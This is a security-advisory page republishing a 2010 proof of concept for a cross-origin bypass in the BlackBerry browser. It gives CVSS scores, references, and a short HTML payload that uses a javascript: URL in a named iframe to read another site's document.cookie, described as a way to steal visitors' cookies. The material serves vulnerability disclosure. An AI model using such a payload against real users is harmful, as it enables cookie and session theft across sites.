BlackBerry Browser Cross Origin Bypass

2010.10.17
Credit: 599eme Man
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_ _0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_ _0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_ _____0______0______0__0______0___0__0________0___0__00000__0___0_ _0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_ _________________________________________________________________ # [+] BlackBerry Browser Cross Origin Bypass # # [+] Author : 599eme Man # [+] Contact : Flouf@live.fr # #[------------------------------------------------------------------------------------] # # [+] How use ? # # The Cross Origin Bypass is a way to bypass the domain's restrictions, you can execute javascript throught your domain on other domain, so you can get visitor's cookie throught your website. # # [+] PoC : # # Create a file.htm, save it with this code below and upload it on your server. # # <!-- # BlackBerry Cross Origin Bypass<br> # Found by 599eme Man<br> # flouf@live.fr<br> # Test On google<br> # --> # <a href="javascript:window.open('javascript:alert(document.cookie)','blackb');">Test me</a><br> # <iframe name="blackb" src="http://www.google.fr"> </iframe> # #[------------------------------------------------------------------------------------]

References:

http://securitytracker.com/id?1024506
http://secunia.com/advisories/41536
http://packetstormsecurity.org/1009-exploits/blackberry-crossorigin.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top